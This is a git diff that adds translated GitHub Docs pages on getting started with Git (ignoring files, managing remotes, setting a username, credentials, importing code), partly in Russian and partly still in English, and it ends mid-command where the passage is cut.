b/translations/ru-RU/content/get-started/getting-started-with-git/git-workflows.md new file mode 100644 index 000000000000..f70f2f5a52f0 --- /dev/null +++ b/translations/ru-RU/content/get-started/getting-started-with-git/git-workflows.md @@ -0,0 +1,22 @@ +--- +title: Рабочие процессы Git +intro: 'Поток {% data variables.product.prodname_dotcom %} — это упрощенный рабочий процесс на основе ветви, который поддерживает регулярно развертываемые команды и проекты.' +redirect_from: + - /articles/what-is-a-good-git-workflow + - /articles/git-workflows + - /github/using-git/git-workflows + - /github/getting-started-with-github/git-workflows + - /github/getting-started-with-github/getting-started-with-git/git-workflows +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +ms.openlocfilehash: da67c3430e7457b1fec3f1b0b9b480d6d8363c2d +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145112059' +--- +Вы можете внедрить метод потока {% data variables.product.prodname_dotcom %}, чтобы стандартизировать работу команды и совместную работу над {% data variables.product.prodname_dotcom %}. Дополнительные сведения см. в разделе [Поток {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/github-flow). diff --git a/translations/ru-RU/content/get-started/getting-started-with-git/ignoring-files.md b/translations/ru-RU/content/get-started/getting-started-with-git/ignoring-files.md new file mode 100644 index 000000000000..661de5184b04 --- /dev/null +++ b/translations/ru-RU/content/get-started/getting-started-with-git/ignoring-files.md @@ -0,0 +1,72 @@ +--- +title: Пропуск файлов +redirect_from: + - /git-ignore + - /ignore-files + - /articles/ignoring-files + - /github/using-git/ignoring-files + - /github/getting-started-with-github/ignoring-files + - /github/getting-started-with-github/getting-started-with-git/ignoring-files +intro: 'Вы можете настроить Git для игнорирования файлов, которые вы не хотите возвращать в {% data variables.product.product_name %}.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +ms.openlocfilehash: 5029723554732356f5d5ef83e4b598bbb309cb38 +ms.sourcegitcommit: c45cc7325ed19e69ddd7506e46fcafd0b5182b3f +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/12/2022 +ms.locfileid: '148019529' +--- +## Настройка игнорируемых файлов для одного репозитория + +Вы можете создать файл *.gitignore* в корневом каталоге репозитория, чтобы сообщить Git, какие файлы и каталоги следует игнорировать при фиксации. +Чтобы поделиться правилами игнорирования с другими пользователями, которые клонируют репозиторий, зафиксируйте файл *.gitignore* в репозитории. + +GitHub поддерживает официальный список рекомендуемых файлов *.gitignore* для многих популярных операционных систем, сред и языков в общедоступном репозитории `github/gitignore`. Вы также можете использовать gitignore.io, чтобы создать *файл .gitignore* для вашего сочетания операционной системы, языка программирования или интегрированной среды разработки. Дополнительные сведения см. в разделе [github/gitignore](https://github.com/github/gitignore) и на сайте [gitignore.io](https://www.gitignore.io/). + +{% data reusables.command_line.open_the_multi_os_terminal %} +2. Перейдите к расположению репозитория Git. +3. Создайте *файл .gitignore* для репозитория. + ```shell + $ touch .gitignore + ``` + + Если команда будет выполнена успешно, она не выведет никаких данных. + +Пример файла *.gitignore* см. в разделе [Некоторые распространенные конфигурации .gitignore](https://gist.github.com/octocat/9257657) в репозитории Octocat. + +Если вы хотите игнорировать файл, который уже был отправлен в репозиторий, необходимо отменить отслеживание файла перед тем, как добавлять правило для игнорирования файла. В терминале распакуйте файл. + +```shell +$ git rm --cached FILENAME +``` + +## Настройка игнорируемых файлов для всех репозиториев на компьютере + +Вы также можете создать глобальный *файл .gitignore*, чтобы определить список правил для игнорирования файлов в каждом репозитории Git на компьютере. Например, можно создать файл *~/.gitignore_global* и добавить в него некоторые правила. + +{% data reusables.command_line.open_the_multi_os_terminal %} +2. Настройте Git, чтобы использовать файл исключения *~/.gitignore_global* для всех репозиториев Git. + ```shell + $ git config --global core.excludesfile ~/.gitignore_global + ``` + +## Исключение локальных файлов без создания файла *.gitignore* + +Если вы не хотите создавать файл *.gitignore* для совместного использования с другими пользователями, можно создать правила, которые не фиксируются в репозитории. Этот метод можно использовать для локально создаваемых файлов, которые не должны создавать другие пользователи, например, для файлов, создаваемых редактором. + +Откройте файл *.git/info/exclude*, находящийся в корневом каталоге репозитория Git, в предпочитаемом текстовом редакторе. Любое добавляемое здесь правило не будет синхронизироваться, и будут игнорироваться только файлы для локального репозитория. + +{% data reusables.command_line.open_the_multi_os_terminal %} +2. Перейдите к расположению репозитория Git. +3. В предпочитаемом текстовом редакторе откройте файл *.git/info/exclude*. + +## Дополнительные материалы + +* [Пропускание файлов](https://git-scm.com/book/en/v2/Git-Basics-Recording-Changes-to-the-Repository#_ignoring) в документации по Git +* [.gitignore](https://git-scm.com/docs/gitignore) в документации по Git +* [Коллекция полезных шаблонов *.gitignore*](https://github.com/github/gitignore) в репозитории github/gitignore +* Сайт [gitignore.io](https://www.gitignore.io/) diff --git a/translations/ru-RU/content/get-started/getting-started-with-git/index.md b/translations/ru-RU/content/get-started/getting-started-with-git/index.md new file mode 100644 index 000000000000..ac1225563313 --- /dev/null +++ b/translations/ru-RU/content/get-started/getting-started-with-git/index.md @@ -0,0 +1,33 @@ +--- +title: Начало работы с Git +intro: 'Настройте Git (распределенная система управления версиями) для управления репозиториями {% data variables.product.product_name %} с компьютера.' +redirect_from: + - /articles/getting-started-with-git-and-github + - /github/using-git/getting-started-with-git-and-github + - /github/using-git/learning-about-git + - /articles/learning-about-git + - /github/getting-started-with-github/getting-started-with-git +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +children: + - /setting-your-username-in-git + - /caching-your-github-credentials-in-git + - /why-is-git-always-asking-for-my-password + - /updating-credentials-from-the-macos-keychain + - /git-workflows + - /about-remote-repositories + - /managing-remote-repositories + - /associating-text-editors-with-git + - /configuring-git-to-handle-line-endings + - /ignoring-files +ms.openlocfilehash: 42c758ca98c96d451660d089434d6d8dc61501d6 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '147880761' +--- + diff --git a/translations/ru-RU/content/get-started/getting-started-with-git/managing-remote-repositories.md b/translations/ru-RU/content/get-started/getting-started-with-git/managing-remote-repositories.md new file mode 100644 index 000000000000..d543ff4837b0 --- /dev/null +++ b/translations/ru-RU/content/get-started/getting-started-with-git/managing-remote-repositories.md @@ -0,0 +1,239 @@ +--- +title: Managing remote repositories +intro: 'Learn to work with your local repositories on your computer and remote repositories hosted on {% data variables.product.product_name %}.' +redirect_from: + - /categories/18/articles + - /remotes + - /categories/managing-remotes + - /articles/managing-remote-repositories + - /articles/adding-a-remote + - /github/using-git/adding-a-remote + - /articles/changing-a-remote-s-url + - /articles/changing-a-remotes-url + - /github/using-git/changing-a-remotes-url + - /articles/renaming-a-remote + - /github/using-git/renaming-a-remote + - /articles/removing-a-remote + - /github/using-git/removing-a-remote + - /github/using-git/managing-remote-repositories + - /github/getting-started-with-github/managing-remote-repositories + - /github/getting-started-with-github/getting-started-with-git/managing-remote-repositories +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: Manage remote repositories +--- +## Adding a remote repository + +To add a new remote, use the `git remote add` command on the terminal, in the directory your repository is stored at. + +The `git remote add` command takes two arguments: +* A remote name, for example, `origin` +* A remote URL, for example, `https://{% data variables.command_line.backticks %}/user/repo.git` + +For example: + +```shell +$ git remote add origin https://{% data variables.command_line.codeblock %}/USER/REPO>.git +# Set a new remote + +$ git remote -v +# Verify new remote +> origin https://{% data variables.command_line.codeblock %}/USER/REPO.git (fetch) +> origin https://{% data variables.command_line.codeblock %}/USER/REPO.git (push) +``` + +For more information on which URL to use, see "[About remote repositories](/github/getting-started-with-github/about-remote-repositories)." + +### Troubleshooting: Remote origin already exists + +This error means you've tried to add a remote with a name that already exists in your local repository. + +```shell +$ git remote add origin https://{% data variables.command_line.codeblock %}/octocat/Spoon-Knife.git +> fatal: remote origin already exists. +``` + +To fix this, you can: +* Use a different name for the new remote. +* Rename the existing remote repository before you add the new remote. For more information, see "[Renaming a remote repository](#renaming-a-remote-repository)" below. +* Delete the existing remote repository before you add the new remote. For more information, see "[Removing a remote repository](#removing-a-remote-repository)" below. + +## Changing a remote repository's URL + +The `git remote set-url` command changes an existing remote repository URL. + +{% tip %} + +**Tip:** For information on the difference between HTTPS and SSH URLs, see "[About remote repositories](/github/getting-started-with-github/about-remote-repositories)." + +{% endtip %} + +The `git remote set-url` command takes two arguments: + +* An existing remote name. For example, `origin` or `upstream` are two common choices. +* A new URL for the remote. For example: + * If you're updating to use HTTPS, your URL might look like: +```shell +https://{% data variables.command_line.backticks %}/USERNAME/REPOSITORY.git +``` + * If you're updating to use SSH, your URL might look like: +```shell +git@{% data variables.command_line.codeblock %}:USERNAME/REPOSITORY.git +``` + +### Switching remote URLs from SSH to HTTPS + +{% data reusables.command_line.open_the_multi_os_terminal %} +2. Change the current working directory to your local project. +3. List your existing remotes in order to get the name of the remote you want to change. + ```shell + $ git remote -v + > origin git@{% data variables.command_line.codeblock %}:USERNAME/REPOSITORY.git (fetch) + > origin git@{% data variables.command_line.codeblock %}:USERNAME/REPOSITORY.git (push) + ``` +4. Change your remote's URL from SSH to HTTPS with the `git remote set-url` command. + ```shell + $ git remote set-url origin https://{% data variables.command_line.codeblock %}/USERNAME/REPOSITORY.git + ``` +5. Verify that the remote URL has changed. + ```shell + $ git remote -v + # Verify new remote URL + > origin https://{% data variables.command_line.codeblock %}/USERNAME/REPOSITORY.git (fetch) + > origin https://{% data variables.command_line.codeblock %}/USERNAME/REPOSITORY.git (push) + ``` + +The next time you `git fetch`, `git pull`, or `git push` to the remote repository, you'll be asked for your GitHub username and password. {% data reusables.user-settings.password-authentication-deprecation %} + +You can [use a credential helper](/github/getting-started-with-github/caching-your-github-credentials-in-git) so Git will remember your GitHub username and {% data variables.product.pat_generic %} every time it talks to GitHub. + +### Switching remote URLs from HTTPS to SSH + +{% data reusables.command_line.open_the_multi_os_terminal %} +2. Change the current working directory to your local project. +3. List your existing remotes in order to get the name of the remote you want to change. + ```shell + $ git remote -v + > origin https://{% data variables.command_line.codeblock %}/USERNAME/REPOSITORY.git (fetch) + > origin https://{% data variables.command_line.codeblock %}/USERNAME/REPOSITORY.git (push) + ``` +4. Change your remote's URL from HTTPS to SSH with the `git remote set-url` command. + ```shell + $ git remote set-url origin git@{% data variables.command_line.codeblock %}:USERNAME/REPOSITORY.git + ``` +5. Verify that the remote URL has changed. + ```shell + $ git remote -v + # Verify new remote URL + > origin git@{% data variables.command_line.codeblock %}: USERNAME/REPOSITORY.git (fetch) + > origin git@{% data variables.command_line.codeblock %}: USERNAME/REPOSITORY.git (push) + ``` + +### Troubleshooting: No such remote '[name]' + +This error means that the remote you tried to change doesn't exist: + +```shell +$ git remote set-url sofake https://{% data variables.command_line.codeblock %}/octocat/Spoon-Knife +> fatal: No such remote 'sofake' +``` + +Check that you've correctly typed the remote name. + +## Renaming a remote repository + +Use the `git remote rename` command to rename an existing remote. + +The `git remote rename` command takes two arguments: +* An existing remote name, for example, `origin` +* A new name for the remote, for example, `destination` + +## Example + +These examples assume you're [cloning using HTTPS](/github/getting-started-with-github/about-remote-repositories/#cloning-with-https-urls), which is recommended. + +```shell +$ git remote -v +# View existing remotes +> origin https://{% data variables.command_line.codeblock %}/OWNER/REPOSITORY.git (fetch) +> origin https://{% data variables.command_line.codeblock %}/OWNER/REPOSITORY.git (push) + +$ git remote rename origin destination +# Change remote name from 'origin' to 'destination' + +$ git remote -v +# Verify remote's new name +> destination https://{% data variables.command_line.codeblock %}/OWNER/REPOSITORY.git (fetch) +> destination https://{% data variables.command_line.codeblock %}/OWNER/REPOSITORY.git (push) +``` + +### Troubleshooting: Could not rename config section 'remote.[old name]' to 'remote.[new name]' + +This error means that the old remote name you typed doesn't exist. + +You can check which remotes currently exist with the `git remote -v` command: + +```shell +$ git remote -v +# View existing remotes +> origin https://{% data variables.command_line.codeblock %}/OWNER/REPOSITORY.git (fetch) +> origin https://{% data variables.command_line.codeblock %}/OWNER/REPOSITORY.git (push) +``` + +### Troubleshooting: Remote [new name] already exists + +This error means that the remote name you want to use already exists. To solve this, either use a different remote name, or rename the original remote. + +## Removing a remote repository + +Use the `git remote rm` command to remove a remote URL from your repository. + +The `git remote rm` command takes one argument: +* A remote name, for example, `destination` + +Removing the remote URL from your repository only unlinks the local and remote repositories. It does not delete the remote repository. + +## Example + +These examples assume you're [cloning using HTTPS](/github/getting-started-with-github/about-remote-repositories/#cloning-with-https-urls), which is recommended. + +```shell +$ git remote -v +# View current remotes +> origin https://{% data variables.command_line.codeblock %}/OWNER/REPOSITORY.git (fetch) +> origin https://{% data variables.command_line.codeblock %}/OWNER/REPOSITORY.git (push) +> destination https://{% data variables.command_line.codeblock %}/FORKER/REPOSITORY.git (fetch) +> destination https://{% data variables.command_line.codeblock %}/FORKER/REPOSITORY.git (push) + +$ git remote rm destination +# Remove remote +$ git remote -v +# Verify it's gone +> origin https://{% data variables.command_line.codeblock %}/OWNER/REPOSITORY.git (fetch) +> origin https://{% data variables.command_line.codeblock %}/OWNER/REPOSITORY.git (push) +``` + +{% warning %} + +**Note**: `git remote rm` does not delete the remote repository from the server. It simply +removes the remote and its references from your local repository. + +{% endwarning %} + +### Troubleshooting: Could not remove config section 'remote.[name]' + +This error means that the remote you tried to delete doesn't exist: + +```shell +$ git remote rm sofake +> error: Could not remove config section 'remote.sofake' +``` + +Check that you've correctly typed the remote name. + +## Further reading + +- "[Working with Remotes" from the _Pro Git_ book](https://git-scm.com/book/en/Git-Basics-Working-with-Remotes) diff --git a/translations/ru-RU/content/get-started/getting-started-with-git/setting-your-username-in-git.md b/translations/ru-RU/content/get-started/getting-started-with-git/setting-your-username-in-git.md new file mode 100644 index 000000000000..e606614c880b --- /dev/null +++ b/translations/ru-RU/content/get-started/getting-started-with-git/setting-your-username-in-git.md @@ -0,0 +1,62 @@ +--- +title: Настройка имени пользователя в Git +intro: 'Git использует имя пользователя для связывания фиксаций с удостоверением. Имя пользователя Git не совпадает с именем пользователя {% data variables.product.product_name %}.' +redirect_from: + - /articles/setting-your-username-in-git + - /github/using-git/setting-your-username-in-git + - /github/getting-started-with-github/setting-your-username-in-git + - /github/getting-started-with-github/getting-started-with-git/setting-your-username-in-git +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: Set your username +ms.openlocfilehash: d70f9bd6c58b362ca3007fbda45e6dbb0c68c69a +ms.sourcegitcommit: 5f40f9341dd1e953f4be8d1642f219e628e00cc8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/04/2022 +ms.locfileid: '148009118' +--- +## Сведения об именах пользователей Git +Вы можете изменить имя, связанное с фиксациями Git, с помощью команды `git config`. Новое имя будет отображаться в любых будущих фиксациях, отправляемых в {% data variables.product.product_name %} из командной строки. Если вы не хотите указывать свое настоящее имя, вы можете использовать любой текст в качестве имени пользователя Git. + +Изменение имени, связанного с фиксациями Git, с помощью `git config` будет влиять только на будущие фиксации и не повлияет на имя, использованное для предыдущих фиксаций. + +## Настройка имени пользователя Git для *каждого* репозитория на компьютере + +{% data reusables.command_line.open_the_multi_os_terminal %} + +2. {% data reusables.user-settings.set_your_git_username %} + ```shell + $ git config --global user.name "Mona Lisa" + ``` + +3. {% data reusables.user-settings.confirm_git_username_correct %} + ```shell + $ git config --global user.name + > Mona Lisa + ``` + +## Настройка имени пользователя Git для одного репозитория + +{% data reusables.command_line.open_the_multi_os_terminal %} + +2. Измените текущий рабочий каталог на локальный репозиторий, в котором необходимо настроить имя, связанное с фиксациями Git. + +3. {% data reusables.user-settings.set_your_git_username %} + ```shell + $ git config user.name "Mona Lisa" + ``` + +3. {% data reusables.user-settings.confirm_git_username_correct %} + ```shell + $ git config user.name + > Mona Lisa + ``` + +## Дополнительные материалы + +- [Указание адреса электронной почты для фиксаций](/articles/setting-your-commit-email-address) +- [Раздел "Конфигурация Git" из книги _Pro Git_](https://git-scm.com/book/en/Customizing-Git-Git-Configuration) diff --git a/translations/ru-RU/content/get-started/getting-started-with-git/updating-credentials-from-the-macos-keychain.md b/translations/ru-RU/content/get-started/getting-started-with-git/updating-credentials-from-the-macos-keychain.md new file mode 100644 index 000000000000..507b7c8f5246 --- /dev/null +++ b/translations/ru-RU/content/get-started/getting-started-with-git/updating-credentials-from-the-macos-keychain.md @@ -0,0 +1,50 @@ +--- +title: Updating credentials from the macOS Keychain +intro: 'You''ll need to update your saved credentials in the `git-credential-osxkeychain` helper if you change your{% ifversion not ghae %} username, password, or{% endif %} {% data variables.product.pat_generic %} on {% data variables.product.product_name %}.' +redirect_from: + - /articles/updating-credentials-from-the-osx-keychain + - /github/using-git/updating-credentials-from-the-osx-keychain + - /github/using-git/updating-credentials-from-the-macos-keychain + - /github/getting-started-with-github/updating-credentials-from-the-macos-keychain + - /github/getting-started-with-github/getting-started-with-git/updating-credentials-from-the-macos-keychain +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: macOS Keychain credentials +--- +{% tip %} + +**Note:** Updating credentials from the macOS Keychain only applies to users who manually configured a {% data variables.product.pat_generic %} using the `osxkeychain` helper that is built-in to macOS. + +We recommend you either [configure SSH](/articles/generating-an-ssh-key) or upgrade to the [Git Credential Manager](/get-started/getting-started-with-git/caching-your-github-credentials-in-git) (GCM) instead. GCM can manage authentication on your behalf (no more manual {% data variables.product.pat_generic %}s) including 2FA (two-factor auth). + +{% endtip %} + +{% data reusables.user-settings.password-authentication-deprecation %} + +## Updating your credentials via Keychain Access + +1. Click on the Spotlight icon (magnifying glass) on the right side of the menu bar. Type `Keychain access` then press the Enter key to launch the app. + ![Spotlight Search bar](/assets/images/help/setup/keychain-access.png) +2. In Keychain Access, search for **{% data variables.command_line.backticks %}**. +3. Find the "internet password" entry for `{% data variables.command_line.backticks %}`. +4. Edit or delete the entry accordingly. + +## Deleting your credentials via the command line + +Through the command line, you can use the credential helper directly to erase the keychain entry. + +```shell +$ git credential-osxkeychain erase +host={% data variables.command_line.codeblock %} +protocol=https +> [Press Return] +``` + +If it's successful, nothing will print out. To test that it works, try and clone a private repository from {% data variables.location.product_location %}. If you are prompted for a password, the keychain entry was deleted. + +## Further reading + +- "[Caching your {% data variables.product.prodname_dotcom %} credentials in Git](/github/getting-started-with-github/caching-your-github-credentials-in-git/)" diff --git a/translations/ru-RU/content/get-started/getting-started-with-git/why-is-git-always-asking-for-my-password.md b/translations/ru-RU/content/get-started/getting-started-with-git/why-is-git-always-asking-for-my-password.md new file mode 100644 index 000000000000..284df7ffb1c4 --- /dev/null +++ b/translations/ru-RU/content/get-started/getting-started-with-git/why-is-git-always-asking-for-my-password.md @@ -0,0 +1,26 @@ +--- +title: Why is Git always asking for my password? +intro: 'If Git prompts you for a username and password every time you try to interact with GitHub, you''re probably using the HTTPS clone URL for your repository.' +redirect_from: + - /articles/why-is-git-always-asking-for-my-password + - /github/using-git/why-is-git-always-asking-for-my-password + - /github/getting-started-with-github/why-is-git-always-asking-for-my-password + - /github/getting-started-with-github/getting-started-with-git/why-is-git-always-asking-for-my-password +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: Git passwords +--- +Using an HTTPS remote URL has some advantages compared with using SSH. It's easier to set up than SSH, and usually works through strict firewalls and proxies. However, it also prompts you to enter your {% data variables.product.product_name %} credentials every time you pull or push a repository. + +{% data reusables.user-settings.password-authentication-deprecation %} + +You can avoid being prompted for your password by configuring Git to [cache your credentials](/github/getting-started-with-github/caching-your-github-credentials-in-git) for you. Once you've configured credential caching, Git automatically uses your cached {% data variables.product.pat_generic %} when you pull or push a repository using HTTPS. + +## Further reading + +- "[About remote repositories](/github/getting-started-with-github/about-remote-repositories)." +- "[About authentication to {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/about-authentication-to-github)" +- "[Adding your SSH key to the ssh-agent](/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent#adding-your-ssh-key-to-the-ssh-agent)" diff --git a/translations/ru-RU/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/about-github-importer.md b/translations/ru-RU/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/about-github-importer.md new file mode 100644 index 000000000000..d1c83c731086 --- /dev/null +++ b/translations/ru-RU/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/about-github-importer.md @@ -0,0 +1,36 @@ +--- +title: О GitHub Importer +intro: 'Если исходный код находится в Subversion, Mercurial, системе управления версиями Team Foundation (TFVC) или другом репозитории GIT, его можно переместить в GitHub с помощью GitHub Importer.' +redirect_from: + - /articles/about-github-importer + - /github/importing-your-projects-to-github/about-github-importer + - /github/importing-your-projects-to-github/importing-source-code-to-github/about-github-importer +versions: + fpt: '*' + ghec: '*' +ms.openlocfilehash: 86fa3129982afcdf99da7879792881c522d4a6fc +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145135797' +--- +GitHub Importer — инструмент для быстрого импорта в GitHub репозиториев исходного кода, включая фиксации и журнал изменений. + +![GIF-файл "Импорт репозитория"](/assets/images/help/importer/github-importer.gif) + +Во время импорта в зависимости от системы управления версиями, из которой осуществляется импорт, можно выполнить проверку подлинности в удаленном репозитории, обновить атрибут автора фиксации и импортировать репозитории с большими файлами (или удалить большие файлы, если вы не хотите использовать Git Large File Storage). + +| Действие импорта | Subversion | Mercurial | TFVC | Git | +|:--------------|:----------:|:---------:|:----------------------:|:---:| +| Проверка подлинности в удаленном репозитории | **X** | **X** | **X** | **X** | +| [Обновление атрибута автора фиксации](/articles/updating-commit-author-attribution-with-github-importer) | **X** | **X** | **X** | | +| Перемещение больших файлов в [Git Large File Storage](/articles/about-git-large-file-storage) | **X** | **X** | **X** | | +| Удаление больших файлов из репозитория | **X** | **X** | **X** | | + +## Дополнительные материалы + +- [Импорт репозитория с помощью GitHub Importer](/articles/importing-a-repository-with-github-importer) +- [Обновление атрибута автора фиксации с помощью GitHub Importer](/articles/updating-commit-author-attribution-with-github-importer) +- [Импорт репозитория Git с помощью командной строки](/articles/importing-a-git-repository-using-the-command-line) +- [Средства миграции исходного кода](/articles/source-code-migration-tools) diff --git a/translations/ru-RU/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/adding-locally-hosted-code-to-github.md b/translations/ru-RU/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/adding-locally-hosted-code-to-github.md new file mode 100644 index 000000000000..d42181b790f1 --- /dev/null +++ b/translations/ru-RU/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/adding-locally-hosted-code-to-github.md @@ -0,0 +1,196 @@ +--- +title: Adding locally hosted code to GitHub +intro: 'Learn how to add existing source code or repositories to {% data variables.product.product_name %} from the command line using {% data variables.product.prodname_cli %} or Git Commands. Then, share your code and invite others to work with you.' +redirect_from: + - /articles/add-an-existing-project-to-github + - /articles/adding-an-existing-project-to-github-using-the-command-line + - /github/importing-your-projects-to-github/adding-an-existing-project-to-github-using-the-command-line + - /github/importing-your-projects-to-github/importing-source-code-to-github/adding-an-existing-project-to-github-using-the-command-line + - /get-started/importing-your-projects-to-github/importing-source-code-to-github/adding-an-existing-project-to-github-using-the-command-line +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: Add locally hosted code +--- + +## About adding existing source code to {% data variables.product.product_name %} + +If you have existing source code or repositories stored locally on your computer or private network you can add them to {% data variables.product.product_name %} by typing commands in a terminal. You can do this by typing Git commands directly, or by using {% data variables.product.prodname_cli %}. + +{% data variables.product.prodname_cli %} is an open source tool for using {% data variables.product.prodname_dotcom %} from your computer's command line. {% data variables.product.prodname_cli %} can simplify the process of adding an existing project to {% data variables.product.product_name %} using the command line. To learn more about {% data variables.product.prodname_cli %}, see "[About {% data variables.product.prodname_cli %}](/github-cli/github-cli/about-github-cli)." + +{% tip %} + +**Tip:** If you're most comfortable with a point-and-click user interface, try adding your project with {% data variables.product.prodname_desktop %}. For more information, see "[Adding a repository from your local computer to GitHub Desktop](/desktop/guides/contributing-to-projects/adding-a-repository-from-your-local-computer-to-github-desktop)" in the *{% data variables.product.prodname_desktop %} Help*. + +{% endtip %} + +{% data reusables.repositories.sensitive-info-warning %} + +## Adding a local repository to {% data variables.product.product_name %} with {% data variables.product.prodname_cli %} + +1. In the command line, navigate to the root directory of your project. +1. Initialize the local directory as a Git repository. + + ```shell + git init -b main + ``` + +1. Stage and commit all the files in your project. + + ```shell + git add . && git commit -m "initial commit" + ``` + +1. To create a repository for your project on GitHub, use the `gh repo create` subcommand. When prompted, select **Push an existing local repository to GitHub** and enter the desired name for your repository. If you want your project to belong to an organization instead of your user account, specify the organization name and project name with `organization-name/project-name`. + +1. Follow the interactive prompts. To add the remote and push the repository, confirm yes when asked to add the remote and push the commits to the current branch. + +1. Alternatively, to skip all the prompts, supply the path to the repository with the `--source` flag and pass a visibility flag (`--public`, `--private`, or `--internal`). For example, `gh repo create --source=. --public`. Specify a remote with the `--remote` flag. To push your commits, pass the `--push` flag. For more information about possible arguments, see the [GitHub CLI manual](https://cli.github.com/manual/gh_repo_create). + +## Adding a local repository to {% data variables.product.product_name %} using Git + +{% mac %} + +1. [Create a new repository](/repositories/creating-and-managing-repositories/creating-a-new-repository) on {% data variables.location.product_location %}. To avoid errors, do not initialize the new repository with *README*, license, or `gitignore` files. You can add these files after your project has been pushed to {% data variables.product.product_name %}. + ![Create New Repository drop-down](/assets/images/help/repository/repo-create.png) +{% data reusables.command_line.open_the_multi_os_terminal %} +3. Change the current working directory to your local project. +4. Use the `init` command to initialize the local directory as a Git repository. By default, the initial branch is called `master`. + + If you’re using Git 2.28.0 or a later version, you can set the name of the default branch using `-b`. + + ``` shell + $ git init -b main + ``` + + If you’re using Git 2.27.1 or an earlier version, you can set the name of the default branch using `&& git symbolic-ref HEAD refs/heads/main`. + + ``` shell + $ git init && git symbolic-ref HEAD refs/heads/main + ``` +5. Add the files in your new local repository. This stages them for the first commit. + + ```shell + $ git add . + # Adds the files in the local repository and stages them for commit. {% data reusables.git.unstage-codeblock %} + ``` +6. Commit the files that you've staged in your local repository. + ```shell + $ git commit -m "First commit" + # Commits the tracked changes and prepares them to be pushed to a remote repository. {% data reusables.git.reset-head-to-previous-commit-codeblock %} + ``` +7. At the top of your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}'s Quick Setup page, click {% octicon "clippy" aria-label="The copy to clipboard icon" %} to copy the remote repository URL. + ![Copy remote repository URL field](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png) +8. In Terminal, [add the URL for the remote repository](/github/getting-started-with-github/managing-remote-repositories) where your local repository will be pushed. + ```shell + $ git remote add origin <REMOTE_URL> + # Sets the new remote + $ git remote -v + # Verifies the new remote URL + ``` +9. [Push the changes](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/) in your local repository to {% data variables.location.product_location %}. + ```shell + $ git push -u origin main + # Pushes the changes in your local repository up to the remote repository you specified as the origin + ``` + +{% endmac %} + +{% windows %} + +1. [Create a new repository](/articles/creating-a-new-repository) on {% data variables.location.product_location %}. To avoid errors, do not initialize the new repository with *README*, license, or `gitignore` files. You can add these files after your project has been pushed to {% data variables.product.product_name %}. + ![Create New Repository drop-down](/assets/images/help/repository/repo-create.png) +{% data reusables.command_line.open_the_multi_os_terminal %} +3. Change the current working directory to your local project. +4. Use the `init` command to initialize the local directory as a Git repository. By default, the initial branch is called `master`. + + If you’re using Git 2.28.0 or a later version, you can set the name of the default branch using `-b`. + + ``` shell + $ git init -b main + ``` + + If you’re using Git 2.27.1 or an earlier version, you can set the name of the default branch using `&& git symbolic-ref HEAD refs/heads/main`. + + ``` shell + $ git init && git symbolic-ref HEAD refs/heads/main + ``` +5. Add the files in your new local repository. This stages them for the first commit. + ```shell + $ git add . + # Adds the files in the local repository and stages them for commit. {% data reusables.git.unstage-codeblock %} + ``` +6. Commit the files that you've staged in your local repository. + ```shell + $ git commit -m "First commit" + # Commits the tracked changes and prepares them to be pushed to a remote repository. {% data reusables.git.reset-head-to-previous-commit-codeblock %} + ``` +7. At the top of your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}'s Quick Setup page, click {% octicon "clippy" aria-label="The copy to clipboard icon" %} to copy the remote repository URL. + ![Copy remote repository URL field](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png) +8. In the Command prompt, [add the URL for the remote repository](/github/getting-started-with-github/managing-remote-repositories) where your local repository will be pushed. + ```shell + $ git remote add origin <REMOTE_URL> + # Sets the new remote + $ git remote -v + # Verifies the new remote URL + ``` +9. [Push the changes](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/) in your local repository to {% data variables.location.product_location %}. + ```shell + $ git push origin main + # Pushes the changes in your local repository up to the remote repository you specified as the origin + ``` + +{% endwindows %} + +{% linux %} + +1. [Create a new repository](/articles/creating-a-new-repository) on {% data variables.location.product_location %}. To avoid errors, do not initialize the new repository with *README*, license, or `gitignore` files. You can add these files after your project has been pushed to {% data variables.product.product_name %}. + ![Create New Repository drop-down](/assets/images/help/repository/repo-create.png) +{% data reusables.command_line.open_the_multi_os_terminal %} +3. Change the current working directory to your local project. +4. Use the `init` command to initialize the local directory as a Git repository. By default, the initial branch is called `master`. + + If you’re using Git 2.28.0 or a later version, you can set the name of the default branch using `-b`. + + ``` shell + $ git init -b main + ``` + + If you’re using Git 2.27.1 or an earlier version, you can set the name of the default branch using `&& git symbolic-ref HEAD refs/heads/main`. + + ``` shell + $ git init && git 